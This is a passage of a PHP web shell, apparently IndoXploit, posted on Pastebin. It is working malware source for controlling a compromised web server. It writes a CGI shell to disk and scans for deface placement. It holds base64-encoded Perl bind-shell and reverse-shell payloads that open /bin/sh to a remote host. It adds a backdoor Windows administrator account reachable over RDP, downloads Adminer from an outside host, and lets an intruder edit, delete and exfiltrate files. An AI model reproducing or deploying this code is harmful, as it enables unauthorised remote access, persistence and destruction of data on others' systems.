ZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQomRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic3ltY29uZmlnIikNCnsNCiZQcmludFBhZ2VIZWFkZXI7DQpwcmludCAmU3ltQ29uZmlnOw0KfWVsc2lmKCRBY3Rpb24gZXEgImhlbHAiKQ0Kew0KJlByaW50UGFnZUhlYWRlcjsNCnByaW50ICZIZWxwOw0KfQ==";
  1508.     $cgi = fopen($file_cgi, "w");
  1509.     fwrite($cgi, base64_decode($cgi_script));
  1510.     fwrite($htcgi, $isi_htcgi);
  1511.     chmod($file_cgi, 0755);
  1512.         chmod($memeg, 0755);
  1513.     echo "<br><center>Done ... <a href='7yaX_cgi/cgi2.7yaX' target='_blank'>Klik Here</a>";
  1514. } elseif($_GET['do'] == 'fake_root') {
  1515.     ob_start();
  1516.     $cwd = getcwd();
  1517.     $ambil_user = explode("/", $cwd);
  1518.     $user = $ambil_user[2];
  1519.     if($_POST['reverse']) {
  1520.         $site = explode("\r\n", $_POST['url']);
  1521.         $file = $_POST['file'];
  1522.         foreach($site as $url) {
  1523.             $cek = getsource("$url/~$user/$file");
  1524.             if(preg_match("/hacked/i", $cek)) {
  1525.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=#4c83af>Fake Root!</font><br>";
  1526.             }
  1527.         }
  1528.     } else {
  1529.         echo "<center><form method='post'>
  1530.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1531.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1532.         Domain: <br>
  1533.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1534.         reverse($_SERVER['HTTP_HOST']);
  1535.         echo "</textarea><br>
  1536.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1537.         </form><br>
  1538.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1539.     }
  1540. } elseif($_GET['do'] == 'adminer') {
  1541.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1542.     function adminer($url, $isi) {
  1543.         $fp = fopen($isi, "w");
  1544.         $ch = curl_init();
  1545.               curl_setopt($ch, CURLOPT_URL, $url);
  1546.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1547.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1548.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1549.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1550.         return curl_exec($ch);
  1551.               curl_close($ch);
  1552.         fclose($fp);
  1553.         ob_flush();
  1554.         flush();
  1555.     }
  1556.     if(file_exists('adminer.php')) {
  1557.         echo "<center><font color=#4c83af><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1558.     } else {
  1559.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1560.             echo "<center><font color=#4c83af><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1561.         } else {
  1562.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1563.         }
  1564.     }
  1565. } elseif($_GET['do'] == 'network') {
  1566.     echo "<form method='post'>
  1567.     <u>Bind Port:</u> <br>
  1568.     PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
  1569.     <input type='submit' name='sub_bp' value='>>'>
  1570.     </form>
  1571.     <form method='post'>
  1572.     <u>Back Connect:</u> <br>
  1573.     Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>  
  1574.     PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
  1575.     <input type='submit' name='sub_bc' value='>>'>
  1576.     </form>";
  1577.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1578.     if(isset($_POST['sub_bp'])) {
  1579.         $f_bp = fopen("/tmp/bp.pl", "w");
  1580.         fwrite($f_bp, base64_decode($bind_port_p));
  1581.         fclose($f_bp);
  1582.  
  1583.         $port = $_POST['port_bind'];
  1584.         $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
  1585.         sleep(1);
  1586.         echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
  1587.         unlink("/tmp/bp.pl");
  1588.     }
  1589.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1590.     if(isset($_POST['sub_bc'])) {
  1591.         $f_bc = fopen("/tmp/bc.pl", "w");
  1592.         fwrite($f_bc, base64_decode($bind_connect_p));
  1593.         fclose($f_bc);
  1594.  
  1595.         $ipbc = $_POST['ip_bc'];
  1596.         $port = $_POST['port_bc'];
  1597.         $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
  1598.         sleep(1);
  1599.         echo "<pre>".$out."\n".exe("ps aux | grep bc.pl")."</pre>";
  1600.         unlink("/tmp/bc.pl");
  1601.     }
  1602. } elseif($_GET['do'] == 'krdp_shell') {
  1603.     if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  1604.         if($_POST['create']) {
  1605.             $user = htmlspecialchars($_POST['user']);
  1606.             $pass = htmlspecialchars($_POST['pass']);
  1607.             if(preg_match("/$user/", exe("net user"))) {
  1608.                 echo "[INFO] -> <font color=red>user <font color=#4c83af>$user</font> sudah ada</font>";
  1609.             } else {
  1610.                 $add_user   = exe("net user $user $pass /add");
  1611.                 $add_groups1 = exe("net localgroup Administrators $user /add");
  1612.                 $add_groups2 = exe("net localgroup Administrator $user /add");
  1613.                 $add_groups3 = exe("net localgroup Administrateur $user /add");
  1614.                 echo "[ RDP ACCOUNT INFO ]<br>
  1615.                 ------------------------------<br>
  1616.                 IP: <font color=#4c83af>".$ip."</font><br>
  1617.                 Username: <font color=#4c83af>$user</font><br>
  1618.                 Password: <font color=#4c83af>$pass</font><br>
  1619.                 ------------------------------<br><br>
  1620.                 [ STATUS ]<br>
  1621.                 ------------------------------<br>
  1622.                 ";
  1623.                 if($add_user) {
  1624.                     echo "[add user] -> <font color='#4c83af'>Berhasil</font><br>";
  1625.                 } else {
  1626.                     echo "[add user] -> <font color='red'>Gagal</font><br>";
  1627.                 }
  1628.                 if($add_groups1) {
  1629.                     echo "[add localgroup Administrators] -> <font color='#4c83af'>Berhasil</font><br>";
  1630.                 } elseif($add_groups2) {
  1631.                     echo "[add localgroup Administrator] -> <font color='#4c83af'>Berhasil</font><br>";
  1632.                 } elseif($add_groups3) {
  1633.                     echo "[add localgroup Administrateur] -> <font color='#4c83af'>Berhasil</font><br>";
  1634.                 } else {
  1635.                     echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  1636.                 }
  1637.                 echo "------------------------------<br>";
  1638.             }
  1639.         } elseif($_POST['s_opsi']) {
  1640.             $user = htmlspecialchars($_POST['r_user']);
  1641.             if($_POST['opsi'] == '1') {
  1642.                 $cek = exe("net user $user");
  1643.                 echo "Checking username <font color=#4c83af>$user</font> ....... ";
  1644.                 if(preg_match("/$user/", $cek)) {
  1645.                     echo "[ <font color=#4c83af>Sudah ada</font> ]<br>
  1646.                     ------------------------------<br><br>
  1647.                     <pre>$cek</pre>";
  1648.                 } else {
  1649.                     echo "[ <font color=red>belum ada</font> ]";
  1650.                 }
  1651.             } elseif($_POST['opsi'] == '2') {
  1652.                 $cek = exe("net user $user indoxploit");
  1653.                 if(preg_match("/$user/", exe("net user"))) {
  1654.                     echo "[change password: <font color=#4c83af>indoxploit</font>] -> ";
  1655.                     if($cek) {
  1656.                         echo "<font color=#4c83af>Berhasil</font>";
  1657.                     } else {
  1658.                         echo "<font color=red>Gagal</font>";
  1659.                     }
  1660.                 } else {
  1661.                     echo "[INFO] -> <font color=red>user <font color=#4c83af>$user</font> belum ada</font>";
  1662.                 }
  1663.             } elseif($_POST['opsi'] == '3') {
  1664.                 $cek = exe("net user $user /DELETE");
  1665.                 if(preg_match("/$user/", exe("net user"))) {
  1666.                     echo "[remove user: <font color=#4c83af>$user</font>] -> ";
  1667.                     if($cek) {
  1668.                         echo "<font color=#4c83af>Berhasil</font>";
  1669.                     } else {
  1670.                         echo "<font color=red>Gagal</font>";
  1671.                     }
  1672.                 } else {
  1673.                     echo "[INFO] -> <font color=red>user <font color=#4c83af>$user</font> belum ada</font>";
  1674.                 }
  1675.             } else {
  1676.                 //
  1677.             }
  1678.         } else {
  1679.             echo "-- Create RDP --<br>
  1680.             <form method='post'>
  1681.             <input type='text' name='user' placeholder='username' value='indoxploit' required>
  1682.             <input type='text' name='pass' placeholder='password' value='indoxploit' required>
  1683.             <input type='submit' name='create' value='>>'>
  1684.             </form>
  1685.             -- Option --<br>
  1686.             <form method='post'>
  1687.             <input type='text' name='r_user' placeholder='username' required>
  1688.             <select name='opsi'>
  1689.             <option value='1'>Cek Username</option>
  1690.             <option value='2'>Ubah Password</option>
  1691.             <option value='3'>Hapus Username</option>
  1692.             </select>
  1693.             <input type='submit' name='s_opsi' value='>>'>
  1694.             </form>
  1695.             ";
  1696.         }
  1697.     } else {
  1698.         echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  1699.     }
  1700. } elseif($_GET['act'] == 'newfile') {
  1701.     if($_POST['new_save_file']) {
  1702.         $newfile = htmlspecialchars($_POST['newfile']);
  1703.         $fopen = fopen($newfile, "a+");
  1704.         if($fopen) {
  1705.             $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  1706.         } else {
  1707.             $act = "<font color=red>permission denied</font>";
  1708.         }
  1709.     }
  1710.     echo $act;
  1711.     echo "<form method='post'>
  1712.     Filename: <input type='text' name='newfile' value='$dir/index.php' style='width: 450px;' height='10'>
  1713.     <input type='submit' name='new_save_file' value='Submit'>
  1714.     </form>";
  1715. } elseif($_GET['act'] == 'newfolder') {
  1716.     if($_POST['new_save_folder']) {
  1717.         $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  1718.         if(!mkdir($new_folder)) {
  1719.             $act = "<font color=red>permission denied</font>";
  1720.         } else {
  1721.             $act = "<script>window.location='?dir=".$dir."';</script>";
  1722.         }
  1723.     }
  1724.     echo $act;
  1725.     echo "<form method='post'>
  1726.     Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  1727.     <input type='submit' name='new_save_folder' value='Submit'>
  1728.     </form>";
  1729. } elseif($_GET['act'] == 'rename_dir') {
  1730.     if($_POST['dir_rename']) {
  1731.         $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  1732.         if($dir_rename) {
  1733.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1734.         } else {
  1735.             $act = "<font color=red>permission denied</font>";
  1736.         }
  1737.     echo "".$act."<br>";
  1738.     }
  1739.     echo "<form method='post'>
  1740.     <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  1741.     <input type='submit' name='dir_rename' value='rename'>
  1742.     </form>";
  1743. } elseif($_GET['act'] == 'delete_dir') {
  1744.     if(is_dir($dir)) {
  1745.         if(is_writable($dir)) {
  1746.             @rmdir($dir);
  1747.             @exe("rm -rf $dir");
  1748.             @exe("rmdir /s /q $dir");
  1749.             $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1750.         } else {
  1751.             $act = "<font color=red>could not remove ".basename($dir)."</font>";
  1752.         }
  1753.     }
  1754.     echo $act;
  1755. } elseif($_GET['act'] == 'view') {
  1756.     echo "Filename: <font color=#4c83af>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1757.     echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1758. } elseif($_GET['act'] == 'edit') {
  1759.     if($_POST['save']) {
  1760.         $save = file_put_contents($_GET['file'], $_POST['src']);
  1761.         if($save) {
  1762.             $act = "<font color=#4c83af>Saved!</font>";
  1763.         } else {
  1764.             $act = "<font color=red>permission denied</font>";
  1765.         }
  1766.     echo "".$act."<br>";
  1767.     }
  1768.     echo "Filename: <font color=#4c83af>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1769.     echo "<form method='post'>
  1770.     <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1771.     <input type='submit' value='Save' name='save' style='width: 500px;'>
  1772.     </form>";
  1773. } elseif($_GET['act'] == 'rename') {
  1774.     if($_POST['do_rename']) {
  1775.         $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
  1776.         if($rename) {
  1777.             $act = "<script>window.location='?dir=".$dir."';</script>";
  1778.         } else {
  1779.             $act = "<font color=red>permission denied</font>";
  1780.         }
  1781.     echo "".$act."<br>";
  1782.     }
  1783.     echo "Filename: <font color=#4c83af>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1784.     echo "<form method='post'>
  1785.     <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  1786.     <input type='submit' name='do_rename' value='rename'>
  1787.     </form>";
  1788. } elseif($_GET['act'] == 'delete') {
  1789.     $delete = unlink($_GET['file']);
  1790.     if($delete) {
  1791.         $act = "<script>window.location='?dir=".$dir."';</script>";
  1792.     } else {
  1793.         $act = "<font color=red>permission denied</font>";
  1794.     }
  1795.     echo $act;
  1796. } else {
  1797.     if(is_dir($dir) === true) {
  1798.         if(!is_readable($dir)) {
  1799.             echo "<font color=red>can't open directory. ( not readable )</font>";
  1800.         } else {
  1801.             echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
  1802.             <tr>
  1803.             <th class="th_home"><center>Name</center></th>
  1804.             <th class="th_home"><center>Type</center></th>
  1805.             <th class="th_home"><center>Size</center></th>
  1806.             <th class="th_home"><center>Last Modified</center></th>
  1807.             <th class="th_home"><center>Owner/Group</center></th>
  1808.             <th class="th_home"><center>Permission</center></th>
  1809.             <th class="th_home"><center>Action</center></th>
  1810.             </tr>';
  1811.             $scandir = scandir($dir);
  1812.             foreach($scandir as $dirx) {
  1813.                 $dtype = filetype("$dir/$dirx");
  1814.                 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
  1815.                 if(function_exists('posix_getpwuid')) {
  1816.                     $downer = @posix_getpwuid(fileowner("$dir/$dirx"));
  1817.                     $downer = $downer['name'];
  1818.                 } else {
  1819.                     //$downer = $uid;
  1820.                     $downer = fileowner("$dir/$dirx");
  1821.                 }
  1822.                 if(function_exists('posix_getgrgid')) {
  1823.                     $dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
  1824.                     $dgrp = $dgrp['name'];
  1825.                 } else {
  1826.                     $dgrp = filegroup("$dir/$dirx");
  1827.                 }
  1828.                 if(!is_dir("$dir/$dirx")) continue;
  1829.                 if($dirx === '..') {
  1830.                     $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
  1831.                 } elseif($dirx === '.') {
  1832.                     $href = "<a href='?dir=$dir'>$dirx</a>";
  1833.                 } else {
  1834.                     $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
  1835.                 }
  1836.                 if($dirx === '.' || $dirx === '..') {
  1837.                     $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
  1838.                     } else {
  1839.                     $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  1840.                 }
  1841.                 echo "<tr>";
  1842.                 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
  1843.                 echo "<td class='td_home'><center>$dtype</center></td>";
  1844.                 echo "<td class='td_home'><center>-</center></th></td>";
  1845.                 echo "<td class='td_home'><center>$dtime</center></td>";
  1846.                 echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
  1847.                 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
  1848.                 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  1849.                 echo "</tr>";
  1850.             }
  1851.         }
  1852.     } else {
  1853.         echo "<font color=red>can't open directory.</font>";
  1854.     }
  1855.         foreach($scandir as $file) {
  1856.             $ftype = filetype("$dir/$file");
  1857.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  1858.             $size = filesize("$dir/$file")/1024;
  1859.             $size = round($size,3);
  1860.             if(function_exists('posix_getpwuid')) {
  1861.                 $fowner = @posix_getpwuid(fileowner("$dir/$file"));
  1862.                 $fowner = $fowner['name'];
  1863.             } else {
  1864.                 //$downer = $uid;
  1865.                 $fowner = fileowner("$dir/$file");
  1866.             }
  1867.             if(function_exists('posix_getgrgid')) {
  1868.                 $fgrp = @posix_getgrgid(filegroup("$dir/$file"));
  1869.                 $fgrp = $fgrp['name'];
  1870.             } else {
  1871.                 $fgrp = filegroup("$dir/$file");
  1872.             }
  1873.             if($size > 1024) {
  1874.                 $size = round($size/1024,2). 'MB';
  1875.             } else {
  1876.                 $size = $size. 'KB';
  1877.             }
  1878.             if(!is_file("$dir/$file")) continue;
  1879.             echo "<tr>";
  1880.             echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
  1881.             echo "<td class='td_home'><center>$ftype</center></td>";
  1882.             echo "<td class='td_home'><center>$size</center></td>";
  1883.             echo "<td class='td_home'><center>$ftime</center></td>";
  1884.             echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
  1885.             echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
  1886.             echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
  1887.             echo "</tr>";
  1888.         }
  1889.         echo "</table>";
  1890.         if(!is_readable($dir)) {
  1891.             //
  1892.         } else {
  1893.             echo "<hr color='#4c83af'>";
  1894.         }
  1895.     echo "<center>Copyright © ".date("Y")." - <a href='http://indoxploit.or.id/' target='_blank'><font color=#4c83af>IndoXploit</font></a></center>";
  1896. }
  1897. ?>
  1898. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top